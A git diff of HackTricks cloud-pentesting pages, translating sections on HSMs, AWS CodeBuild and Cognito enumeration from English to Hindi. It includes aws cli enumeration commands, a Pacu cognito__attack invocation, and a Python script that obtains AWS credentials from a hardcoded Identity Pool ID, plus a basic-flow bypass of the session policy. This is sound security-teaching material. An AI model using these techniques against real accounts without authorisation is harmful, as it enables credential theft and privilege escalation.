क्रिप्टोग्राफिक कुंजियों को उत्पन्न करने, संग्रहीत करने और प्रबंधित करने और संवेदनशील डेटा की सुरक्षा के लिए किया जाता है। इसे भौतिक और इलेक्ट्रॉनिक रूप से क्रिप्टोग्राफिक कार्यों को सिस्टम के बाकी हिस्सों से अलग करने के लिए उच्च स्तर की सुरक्षा प्रदान करने के लिए डिज़ाइन किया गया है। -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +HSM कैसे काम करता है यह विशिष्ट मॉडल और निर्माता के आधार पर भिन्न हो सकता है, लेकिन सामान्यतः, निम्नलिखित चरण होते हैं: -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **कुंजी उत्पन्न करना**: HSM एक सुरक्षित यादृच्छिक संख्या जनरेटर का उपयोग करके एक यादृच्छिक क्रिप्टोग्राफिक कुंजी उत्पन्न करता है। +2. **कुंजी भंडारण**: कुंजी **HSM के भीतर सुरक्षित रूप से संग्रहीत होती है, जहां इसे केवल अधिकृत उपयोगकर्ताओं या प्रक्रियाओं द्वारा ही एक्सेस किया जा सकता है**। +3. **कुंजी प्रबंधन**: HSM कुंजी प्रबंधन कार्यों की एक श्रृंखला प्रदान करता है, जिसमें कुंजी घुमाव, बैकअप और रद्दीकरण शामिल हैं। +4. **क्रिप्टोग्राफिक संचालन**: HSM एन्क्रिप्शन, डिक्रिप्शन, डिजिटल हस्ताक्षर और कुंजी विनिमय सहित क्रिप्टोग्राफिक संचालन की एक श्रृंखला करता है। ये संचालन **HSM के सुरक्षित वातावरण के भीतर किए जाते हैं**, जो अनधिकृत पहुंच और छेड़छाड़ से सुरक्षा प्रदान करता है। +5. **ऑडिट लॉगिंग**: HSM सभी क्रिप्टोग्राफिक संचालन और पहुंच प्रयासों को लॉग करता है, जिसका उपयोग अनुपालन और सुरक्षा ऑडिटिंग उद्देश्यों के लिए किया जा सकता है। -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +HSM का उपयोग सुरक्षित ऑनलाइन लेनदेन, डिजिटल प्रमाणपत्र, सुरक्षित संचार और डेटा एन्क्रिप्शन सहित कई प्रकार के अनुप्रयोगों के लिए किया जा सकता है। इन्हें अक्सर उन उद्योगों में उपयोग किया जाता है जिन्हें उच्च स्तर की सुरक्षा की आवश्यकता होती है, जैसे वित्त, स्वास्थ्य देखभाल और सरकार। -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. - -### Enumeration +कुल मिलाकर, HSM द्वारा प्रदान की गई उच्च स्तर की सुरक्षा इसे **कच्ची कुंजियों को निकालना बहुत कठिन बनाती है, और ऐसा करने का प्रयास अक्सर सुरक्षा का उल्लंघन माना जाता है**। हालाँकि, **कुछ परिदृश्यों** में **कच्ची कुंजी को अधिकृत कर्मियों द्वारा विशिष्ट उद्देश्यों के लिए निकाला जा सकता है**, जैसे कि कुंजी पुनर्प्राप्ति प्रक्रिया के मामले में। +### गणना ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..f154b5c04 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild** को **पूर्ण रूप से प्रबंधित निरंतर एकीकरण सेवा** के रूप में पहचाना जाता है। इस सेवा का मुख्य उद्देश्य स्रोत कोड को संकलित करने, परीक्षण करने और तैनाती के लिए सॉफ़्टवेयर पैकेज करने की प्रक्रिया को स्वचालित करना है। CodeBuild द्वारा प्रदान किया गया प्रमुख लाभ यह है कि यह उपयोगकर्ताओं को अपने निर्माण सर्वरों को प्रावधान, प्रबंधित और स्केल करने की आवश्यकता से मुक्त करता है। यह सुविधा इसलिए है क्योंकि सेवा स्वयं इन कार्यों का प्रबंधन करती है। AWS CodeBuild की आवश्यक विशेषताएँ हैं: -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **Managed Service**: CodeBuild निर्माण सर्वरों का प्रबंधन और स्केल करता है, उपयोगकर्ताओं को सर्वर रखरखाव से मुक्त करता है। +2. **Continuous Integration**: यह विकास और तैनाती कार्यप्रवाह के साथ एकीकृत होता है, सॉफ़्टवेयर रिलीज़ प्रक्रिया के निर्माण और परीक्षण चरणों को स्वचालित करता है। +3. **Package Production**: निर्माण और परीक्षण चरणों के बाद, यह सॉफ़्टवेयर पैकेज तैयार करता है, जिससे वे तैनाती के लिए तैयार हो जाते हैं। -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +AWS CodeBuild अन्य AWS सेवाओं के साथ सहजता से एकीकृत होता है, CI/CD (निरंतर एकीकरण/निरंतर तैनाती) पाइपलाइन की दक्षता और विश्वसनीयता को बढ़ाता है। ### **Github/Gitlab/Bitbucket Credentials** #### **Default source credentials** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +यह एक विरासती विकल्प है जहाँ कुछ **access** (जैसे Github टोकन या ऐप) को कॉन्फ़िगर करना संभव है जो **codebuild परियोजनाओं के बीच साझा किया जाएगा** ताकि सभी परियोजनाएँ इस कॉन्फ़िगर किए गए क्रेडेंशियल सेट का उपयोग कर सकें। -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +संग्रहीत क्रेडेंशियल (टोकन, पासवर्ड...) **codebuild द्वारा प्रबंधित** होते हैं और इन्हें AWS APIs से पुनः प्राप्त करने का कोई सार्वजनिक तरीका नहीं है। #### Custom source credential -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +भंडार प्लेटफ़ॉर्म (Github, Gitlab और Bitbucket) के आधार पर विभिन्न विकल्प प्रदान किए जाते हैं। लेकिन सामान्यतः, कोई भी विकल्प जो **टोकन या पासवर्ड को संग्रहीत करने की आवश्यकता होती है, उसे सीक्रेट्स मैनेजर में एक सीक्रेट के रूप में संग्रहीत करेगा**। -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. +यह **विभिन्न codebuild परियोजनाओं को प्रदाताओं के लिए विभिन्न कॉन्फ़िगर किए गए एक्सेस का उपयोग करने की अनुमति देता है** बजाय इसके कि केवल कॉन्फ़िगर किए गए डिफ़ॉल्ट का उपयोग किया जाए। ### Enumeration - ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,10 +47,9 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +इस पृष्ठ में, आप **कोडबिल्ड अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** का तरीका देख सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md @@ -74,7 +72,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..66d674635 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,31 +4,30 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +Amazon Cognito का उपयोग **प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता प्रबंधन** के लिए वेब और मोबाइल अनुप्रयोगों में किया जाता है। यह उपयोगकर्ताओं को **उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके सीधे या **तीसरे पक्ष** के माध्यम से, जिसमें Facebook, Amazon, Google, या Apple शामिल हैं, साइन इन करने की लचीलापन प्रदान करता है। -Central to Amazon Cognito are two primary components: +Amazon Cognito के केंद्र में दो प्रमुख घटक हैं: -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **उपयोगकर्ता पूल**: ये आपके ऐप उपयोगकर्ताओं के लिए निर्देशिकाएँ हैं, जो **साइन-अप और साइन-इन कार्यक्षमताएँ** प्रदान करती हैं। +2. **पहचान पूल**: ये पूल **विभिन्न AWS सेवाओं तक पहुँचने के लिए उपयोगकर्ताओं को प्राधिकृत करने** में सहायक होते हैं। ये सीधे साइन-इन या साइन-अप प्रक्रिया में शामिल नहीं होते हैं, लेकिन प्रमाणीकरण के बाद संसाधन पहुँच के लिए महत्वपूर्ण होते हैं। -### **User pools** +### **उपयोगकर्ता पूल** -To learn what is a **Cognito User Pool check**: +यह जानने के लिए कि **Cognito उपयोगकर्ता पूल क्या है**: {{#ref}} cognito-user-pools.md {{#endref}} -### **Identity pools** +### **पहचान पूल** -The learn what is a **Cognito Identity Pool check**: +यह जानने के लिए कि **Cognito पहचान पूल क्या है**: {{#ref}} cognito-identity-pools.md {{#endref}} ## Enumeration - ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,35 +71,30 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` +### पहचान पूल - अनधिकृत गणना -### Identity Pools - Unauthenticated Enumeration +बस **पहचान पूल आईडी** जानकर आप **अनधिकृत** उपयोगकर्ताओं से जुड़े **भूमिका के क्रेडेंशियल्स प्राप्त कर सकते हैं** (यदि कोई हो)। [**यहाँ देखें**](cognito-identity-pools.md#accessing-iam-roles). -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +### उपयोगकर्ता पूल - अनधिकृत गणना -### User Pools - Unauthenticated Enumeration +यहां तक कि अगर आप **Cognito के अंदर एक मान्य उपयोगकर्ता नाम** नहीं जानते हैं, तो आप **मान्य** **उपयोगकर्ता नामों** की **गणना** करने में सक्षम हो सकते हैं, **पासवर्ड** के लिए **BF** कर सकते हैं या यहां तक कि **नया उपयोगकर्ता पंजीकृत** कर सकते हैं बस **ऐप क्लाइंट आईडी** जानकर (जो आमतौर पर स्रोत कोड में पाया जाता है)। [**यहाँ देखें**](cognito-user-pools.md#registration)**.** -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** - -## Privesc +## प्रिवेस्क {{#ref}} ../../aws-privilege-escalation/aws-cognito-privesc.md {{#endref}} -## Unauthenticated Access +## अनधिकृत पहुंच {{#ref}} ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md {{#endref}} -## Persistence +## स्थिरता {{#ref}} ../../aws-persistence/aws-cognito-persistence.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..8850300aa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,14 +4,13 @@ ## Basic Information -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: +Identity pools एक महत्वपूर्ण भूमिका निभाते हैं क्योंकि ये आपके उपयोगकर्ताओं को **अस्थायी क्रेडेंशियल्स** प्राप्त करने में सक्षम बनाते हैं। ये क्रेडेंशियल्स विभिन्न AWS सेवाओं, जैसे कि Amazon S3 और DynamoDB, तक पहुँचने के लिए आवश्यक हैं। Identity pools की एक उल्लेखनीय विशेषता यह है कि ये गुमनाम अतिथि उपयोगकर्ताओं और उपयोगकर्ता प्रमाणीकरण के लिए विभिन्न पहचान प्रदाताओं का समर्थन करते हैं। समर्थित पहचान प्रदाता में शामिल हैं: - Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers +- सामाजिक साइन-इन विकल्प जैसे Facebook, Google, Login with Amazon, और Sign in with Apple +- OpenID Connect (OIDC) के साथ संगत प्रदाता +- SAML (Security Assertion Markup Language) पहचान प्रदाता - Developer authenticated identities - ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,65 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Identity Pool सत्र उत्पन्न करने के लिए, आपको पहले **एक पहचान ID उत्पन्न करने की आवश्यकता है**। यह पहचान ID **उस उपयोगकर्ता के सत्र की पहचान है**। इन पहचानों में 20 तक डेटा सेट हो सकते हैं जो 1MB तक की कुंजी-मूल्य जोड़े को संग्रहीत कर सकते हैं। -This is **useful to keep information of a user** (who will be always using the same Identity ID). +यह **एक उपयोगकर्ता की जानकारी रखने के लिए उपयोगी है** (जो हमेशा उसी पहचान ID का उपयोग करेगा)। -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +इसके अलावा, सेवा **cognito-sync** वह सेवा है जो **इस जानकारी का प्रबंधन और समन्वय करने की अनुमति देती है** (डेटा सेट में, धाराओं में जानकारी भेजना और SNS संदेश...)। ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है। -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। #### Usage -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +उपयोगकर्ता निर्माण और दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेस्क वेक्टरों के प्रयास के लिए नमूना cognito\_\_attack उपयोग: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: +सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि को एकत्र करने के लिए cognito\_\_enum का नमूना उपयोग, जो वर्तमान AWS खाते में दिखाई देते हैं: ```bash Pacu (new:test) > run cognito__enum ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अनचाही खाता निर्माण और पहचान पूल वृद्धि शामिल है। #### Installation - ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### उपयोग ```bash $ cognito-scanner --help ``` - For more information check https://github.com/padok-team/cognito-scanner ## Accessing IAM Roles ### Unauthenticated -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +एक हमलावर को **AWS क्रेडेंशियल्स** प्राप्त करने के लिए एक Cognito ऐप में अनधिकृत उपयोगकर्ता के रूप में केवल **Identity Pool ID** जानने की आवश्यकता होती है, और यह **ID को वेब/मोबाइल** **ऐप्लिकेशन** में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (यह ब्रूटफोर्स करने योग्य नहीं है)। > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> **IAM Cognito अनधिकृत भूमिका जो बनाई गई है** उसे डिफ़ॉल्ट रूप से `Cognito_Unauth_Role` कहा जाता है। +यदि आप एक हार्डकोडेड Identity Pools ID पाते हैं और यह अनधिकृत उपयोगकर्ताओं की अनुमति देता है, तो आप AWS क्रेडेंशियल्स प्राप्त कर सकते हैं: ```python import requests @@ -105,8 +95,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +107,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +या आप निम्नलिखित **aws cli commands** का उपयोग कर सकते हैं: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत cognito **उपयोगकर्ता को कोई अनुमति नहीं मिल सकती, भले ही इसे एक नीति के माध्यम से सौंपा गया हो**। निम्नलिखित अनुभाग की जांच करें। ### Enhanced vs Basic Authentication flow -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +पिछले अनुभाग ने **डिफ़ॉल्ट संवर्धित प्रमाणीकरण प्रवाह** का पालन किया। यह प्रवाह IAM भूमिका सत्र के लिए एक **प्रतिबंधात्मक** [**सत्र नीति**](../../aws-basic-information/#session-policies) सेट करता है। यह नीति केवल सत्र को [**इस सूची से सेवाओं का उपयोग करने**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) की अनुमति देगी (भले ही भूमिका को अन्य सेवाओं तक पहुंच हो)। +हालांकि, इसे बायपास करने का एक तरीका है, यदि **पहचान पूल में "बेसिक (क्लासिक) फ्लो" सक्षम है**, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जो **उस प्रतिबंधात्मक सत्र नीति** को नहीं रखेगा। ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +131,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> यदि आपको यह **त्रुटि** मिलती है, तो इसका कारण है कि **बुनियादी प्रवाह सक्षम नहीं है (डिफ़ॉल्ट)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +IAM क्रेडेंशियल्स का एक सेट होने पर आपको [यह जांचना चाहिए कि आपके पास कौन सा एक्सेस है](../../#whoami) और [अधिकार बढ़ाने की कोशिश करें](../../aws-privilege-escalation/)। -### Authenticated +### प्रमाणित > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> याद रखें कि **प्रमाणित उपयोगकर्ताओं** को शायद **विभिन्न अनुमतियाँ** दी जाएंगी, इसलिए यदि आप **ऐप के अंदर साइन अप कर सकते हैं**, तो ऐसा करने की कोशिश करें और नए क्रेडेंशियल्स प्राप्त करें। -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +**प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल** में **भूमिकाएँ** भी उपलब्ध हो सकती हैं। -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +इसके लिए आपको **पहचान प्रदाता** तक पहुँच की आवश्यकता हो सकती है। यदि वह एक **Cognito User Pool** है, तो शायद आप डिफ़ॉल्ट व्यवहार का दुरुपयोग कर सकते हैं और **खुद एक नया उपयोगकर्ता बना सकते हैं**। > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> **IAM Cognito प्रमाणित भूमिका जो बनाई गई है** उसे डिफ़ॉल्ट रूप से `Cognito_Auth_Role` कहा जाता है। -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +वैसे भी, **निम्नलिखित उदाहरण** यह अपेक्षाकृत करता है कि आपने पहले ही **Cognito User Pool** में लॉग इन किया है जिसका उपयोग पहचान पूल तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाता भी कॉन्फ़िगर किए जा सकते हैं)।
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# पिछले कमांड प्रतिक्रिया से identity_id प्राप्त करें
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# IdToken में आप देख सकते हैं कि उपयोगकर्ता को User Pool Groups के कारण कौन सी भूमिकाएँ प्राप्त हैं
+# विशिष्ट भूमिका के लिए क्रेडेंशियल्स प्राप्त करने के लिए --custom-role-arn का उपयोग करें
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> यह संभव है कि **पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं** जिस पर उपयोगकर्ता लॉग इन कर रहा है या यहां तक कि **उपयोगकर्ता** (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो सभी के IAM भूमिकाओं में लॉग इन करना और पहुँच प्राप्त करना **लायक हो सकता है**। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..d553ea685 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,30 +4,29 @@ ## Basic Information -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +एक उपयोगकर्ता पूल Amazon Cognito में एक उपयोगकर्ता निर्देशिका है। एक उपयोगकर्ता पूल के साथ, आपके उपयोगकर्ता **Amazon Cognito के माध्यम से आपके वेब या मोबाइल ऐप में साइन इन कर सकते हैं**, **या एक तृतीय-पक्ष** पहचान प्रदाता (IdP) के माध्यम से संघनित कर सकते हैं। चाहे आपके उपयोगकर्ता सीधे साइन इन करें या एक तृतीय पक्ष के माध्यम से, उपयोगकर्ता पूल के सभी सदस्य एक निर्देशिका प्रोफ़ाइल रखते हैं जिसे आप एक SDK के माध्यम से एक्सेस कर सकते हैं। -User pools provide: +उपयोगकर्ता पूल प्रदान करते हैं: -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- साइन-अप और साइन-इन सेवाएँ। +- उपयोगकर्ताओं को साइन इन करने के लिए एक अंतर्निहित, अनुकूलन योग्य वेब UI। +- Facebook, Google, Amazon के साथ लॉगिन, और Apple के साथ साइन इन, और आपके उपयोगकर्ता पूल से SAML और OIDC पहचान प्रदाताओं के माध्यम से सामाजिक साइन-इन। +- उपयोगकर्ता निर्देशिका प्रबंधन और उपयोगकर्ता प्रोफाइल। +- सुरक्षा सुविधाएँ जैसे बहु-कारक प्रमाणीकरण (MFA), समझौता किए गए क्रेडेंशियल्स के लिए जांच, खाता अधिग्रहण सुरक्षा, और फोन और ईमेल सत्यापन। +- AWS Lambda ट्रिगर्स के माध्यम से अनुकूलित वर्कफ़्लो और उपयोगकर्ता माइग्रेशन। -**Source code** of applications will 